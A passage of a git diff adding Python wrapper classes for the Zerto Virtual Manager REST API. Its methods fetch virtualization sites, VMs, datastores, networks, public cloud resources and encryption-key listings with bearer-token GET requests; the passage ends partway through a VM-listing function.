damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging + +class VirtualizationSites: + def __init__(self, client): + self.client = client + + def get_virtualization_sites(self, site_identifier=None): + """ + Get virtualization sites information. (Auth) + + Args: + site_identifier (str, optional): The identifier of the site to get details for. + If not provided, returns all sites. + + Endpoints: + - /v1/virtualizationsites (when site_identifier is None) + - /v1/virtualizationsites/{siteIdentifier} (when site_identifier is provided) + + Returns: + dict or list: Site details if site_identifier is provided, otherwise array of all sites + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites" + if site_identifier: + url = f"{url}/{site_identifier}" + logging.info(f"VirtualizationSites.get_virtualization_sites: Fetching site {site_identifier}...") + else: + logging.info("VirtualizationSites.get_virtualization_sites: Fetching all virtualization sites...") + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_vms(self, site_identifier): + """ + Get a list of unprotected VMs from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get VMs from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/vms + + Returns: + list: Array of unprotected VMs in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/vms" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_vms: Fetching VMs for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_vcd_vapps(self, site_identifier): + """ + Get a list of unprotected VCD vApps from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get VCD vApps from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/vcdvapps + + Returns: + list: Array of unprotected VCD vApps in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/vcdvapps" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_vcd_vapps: Fetching VCD vApps for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_datastores(self, site_identifier): + """ + Get a list of datastores from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get datastores from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/datastores + + Returns: + list: Array of datastores in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/datastores" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_datastores: Fetching datastores for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_folders(self, site_identifier): + """ + Get a list of folders from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get folders from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/folders + + Returns: + list: Array of folders in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/folders" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_folders: Fetching folders for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_datastore_clusters(self, site_identifier): + """ + Get a list of datastore clusters from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get datastore clusters from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/datastoreclusters + + Returns: + list: Array of datastore clusters in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/datastoreclusters" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_datastore_clusters: Fetching datastore clusters for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_resource_pools(self, site_identifier): + """ + Get a list of resource pools from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get resource pools from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/resourcepools + + Returns: + list: Array of resource pools in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/resourcepools" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_resource_pools: Fetching resource pools for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_org_vdcs(self, site_identifier): + """ + Get a list of organization VDCs (Virtual Data Centers) from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get org VDCs from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/orgvdcs + + Returns: + list: Array of organization VDCs in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/orgvdcs" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_org_vdcs: Fetching org VDCs for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_networks(self, site_identifier): + """ + Get a list of networks from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get networks from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/networks + + Returns: + list: Array of networks in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/networks" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_networks: Fetching networks for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_hosts(self, site_identifier, host_identifier=None): + """ + Get hosts information from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get hosts from. + host_identifier (str, optional): The identifier of a specific host to get details for. + If not provided, returns all hosts. + + Endpoints: + - /v1/virtualizationsites/{siteIdentifier}/hosts (when host_identifier is None) + - /v1/virtualizationsites/{siteIdentifier}/hosts/{hostIdentifier} (when host_identifier is provided) + + Returns: + list or dict: Array of hosts if host_identifier is None, otherwise details of specific host + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/hosts" + if host_identifier: + url = f"{url}/{host_identifier}" + logging.info(f"VirtualizationSites.get_virtualization_site_hosts: Fetching host {host_identifier} from site {site_identifier}...") + else: + logging.info(f"VirtualizationSites.get_virtualization_site_hosts: Fetching all hosts for site {site_identifier}...") + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_repositories(self, site_identifier): + """ + Get a list of repositories from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get repositories from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/repositories + + Returns: + list: Array of repositories in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/repositories" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_repositories: Fetching repositories for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_host_clusters(self, site_identifier): + """ + Get a list of host clusters from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get host clusters from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/hostclusters + + Returns: + list: Array of host clusters in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/hostclusters" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_host_clusters: Fetching host clusters for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_org_vdc_networks(self, site_identifier, org_vdc_identifier): + """ + Get a list of networks from the specified organization VDC. (Auth) + + Args: + site_identifier (str): The identifier of the site. + org_vdc_identifier (str): The identifier of the organization VDC to get networks from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/orgvdcs/{orgVdcIdentifier}/networks + + Returns: + list: Array of networks in the specified organization VDC + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/orgvdcs/{org_vdc_identifier}/networks" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_org_vdc_networks: Fetching networks for org VDC {org_vdc_identifier} in site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_org_vdc_storage_policies(self, site_identifier, org_vdc_identifier): + """ + Get a list of storage policies from the specified organization VDC. (Auth) + + Args: + site_identifier (str): The identifier of the site. + org_vdc_identifier (str): The identifier of the organization VDC to get storage policies from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/orgvdcs/{orgVdcIdentifier}/storagepolicies + + Returns: + list: Array of storage policies in the specified organization VDC + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/orgvdcs/{org_vdc_identifier}/storagepolicies" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_org_vdc_storage_policies: Fetching storage policies for org VDC {org_vdc_identifier} in site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_devices(self, site_identifier, host_identifier=None, device_name=None): + """ + Get a list of devices from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get devices from. + host_identifier (str, optional): Filter devices by host identifier. + device_name (str, optional): Filter devices by device name. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/devices + + Query Parameters: + - hostIdentifier (optional) + - deviceName (optional) + + Returns: + list: Array of devices in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/devices" + + # Add query parameters if provided + params = {} + if host_identifier: + params['hostIdentifier'] = host_identifier + if device_name: + params['deviceName'] = device_name + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_devices: Fetching devices for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, params=params, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_networks(self, site_identifier): + """ + Get a list of public cloud virtual networks from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get public cloud virtual networks from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/virtualNetworks + + Returns: + list: Array of public cloud virtual networks in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/virtualNetworks" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_networks: Fetching public cloud virtual networks for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_subnets(self, site_identifier): + """ + Get a list of public cloud subnets from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get public cloud subnets from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/subnets + + Returns: + list: Array of public cloud subnets in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/subnets" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_subnets: Fetching public cloud subnets for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_security_groups(self, site_identifier): + """ + Get a list of public cloud security groups from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get public cloud security groups from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/securityGroups + + Returns: + list: Array of public cloud security groups in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/securityGroups" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_security_groups: Fetching public cloud security groups for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_vm_instance_types(self, site_identifier): + """ + Get a list of public cloud VM instance types from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get VM instance types from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/vmInstanceTypes + + Returns: + list: Array of public cloud VM instance types in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/vmInstanceTypes" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_vm_instance_types: Fetching VM instance types for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_resource_groups(self, site_identifier): + """ + Get a list of public cloud resource groups from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get resource groups from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/resourceGroups + + Returns: + list: Array of public cloud resource groups in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/resourceGroups" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_resource_groups: Fetching resource groups for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_keys_containers(self, site_identifier): + """ + Get a list of public cloud keys containers from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get keys containers from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/keyscontainers + + Returns: + list: Array of public cloud keys containers in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/keyscontainers" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_keys_containers: Fetching keys containers for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_encryption_keys(self, site_identifier, encryption_key_id=None): + """ + Get public cloud encryption keys from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site. + encryption_key_id (str, optional): The identifier of a specific encryption key to retrieve. + If not provided, returns all encryption keys. + + Endpoints: + - /v1/virtualizationsites/{siteIdentifier}/publiccloud/encryptionkeys (when encryption_key_id is None) + - /v1/virtualizationsites/{siteIdentifier}/publiccloud/encryptionkeys/{encryptionKeyId} (when encryption_key_id is provided) + + Returns: + list or dict: Array of encryption keys if encryption_key_id is None, otherwise details of specific key + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/encryptionkeys" + if encryption_key_id: + url = f"{url}/{encryption_key_id}" + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_encryption_keys: Fetching encryption key {encryption_key_id} for site {site_identifier}...") + else: + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_encryption_keys: Fetching all encryption keys for site {site_identifier}...") + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_managed_identities(self, site_identifier): + """ + Get a list of public cloud managed identities from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get managed identities from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/managedidentities + + Returns: + list: Array of public cloud managed identities in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/managedidentities" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_managed_identities: Fetching managed identities for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise + + def get_virtualization_site_public_cloud_disk_encryption_keys(self, site_identifier): + """ + Get a list of public cloud disk encryption keys from the specified site. (Auth) + + Args: + site_identifier (str): The identifier of the site to get disk encryption keys from. + + Endpoint: + /v1/virtualizationsites/{siteIdentifier}/publiccloud/diskencryptionkeys + + Returns: + list: Array of public cloud disk encryption keys in the specified site + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + url = f"https://{self.client.zvm_address}/v1/virtualizationsites/{site_identifier}/publiccloud/diskencryptionkeys" + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + logging.info(f"VirtualizationSites.get_virtualization_site_public_cloud_disk_encryption_keys: Fetching disk encryption keys for site {site_identifier}...") + try: + response = requests.get(url, headers=headers, verify=self.client.verify_certificate) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + if e.response is not None: + logging.error(f"HTTPError: {e.response.status_code} - {e.response.reason}") + try: + error_details = e.response.json() + logging.error(f"Error Message: {error_details.get('Message', 'No detailed error message available')}") + except ValueError: + logging.error(f"Response content: {e.response.text}") + else: + logging.error("HTTPError occurred with no response attached.") + raise \ No newline at end of file diff --git a/zvml/vms.py b/zvml/vms.py new file mode 100644 index 0000000..b3fe77d --- /dev/null +++ b/zvml/vms.py @@ -0,0 +1,349 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +import requests +import logging +import json + +class VMs: + def __init__(self, client): + self.client = client + + def list_vms(self, vm_identifier=None, vpg_name=None, vm_name=None, status=None, sub_status=None, + + protected_site_type=None, recovery_site_type=None, protected_site_identifier=None, + recovery_site_identifier=None, organization_name=None, priority=None, + vpg_identifier=None, include_backuped_vms=None, include_mounted_vms=True): + """ + Get information about protected virtual machines. If vm_identifier is provided, + returns details about a specific VM, otherwise returns a filtered list of VMs. (Auth) + + Args: + vm_identifier (str, optional): The identifier of a specific VM to get information about + vpg_name (str, optional): The name of the VPG + vm_name (str, optional): The name of the VM + status (str, optional): The status of the VPG + sub_status (str, optional): The sub-status of the VPG + protected_site_type (str, optional): The protected site type + recovery_site_type (str, optional): The recovery site type + protected_site_identifier (str, optional): The identifier of the protected site + recovery_site_identifier (str, optional): The identifier of the recovery site + organization_name (str, optional): The ZORG name + priority (str, optional): The VPG priority + vpg_identifier (str, optional): The identifier of the VPG (used with vm_identifier) + include_backuped_vms (bool, optional): Include VMs in backup targets + include_mounted_vms (bool, optional): Include mounted VMs in the response + + Returns: + dict or list: Details of a specific VM if vm_identifier is provided, + otherwise an array of protected VMs matching the filter criteria + + Raises: + requests.exceptions.RequestException: If the API request fails + """ + # Build the URL based on whether we're getting a specific VM or listing VMs + base_url = f"https://{self.client.zvm_address}/v1/vms" + url = f"{base_url}/{vm_identifier}" if vm_identifier else base_url + + headers = { + 'Content-Type': 'application/json', + 'Authorization': f'Bearer {self.client.token}' + } + + # Build params based on whether we're getting a specific VM or listing VMs + if vm_identifier: + params = { + 'vpgIdentifier': vpg_identifier, + 'includeBackupedVms': include_backuped_vms, + 'includeMountedVms': include_mounted_vms + } + log_msg = f"VMs.list_vms: Fetching VM {vm_identifier}" + else: + params = { + 'vpgName': vpg_name, + 'vmName': vm_name, + 'status': status, + 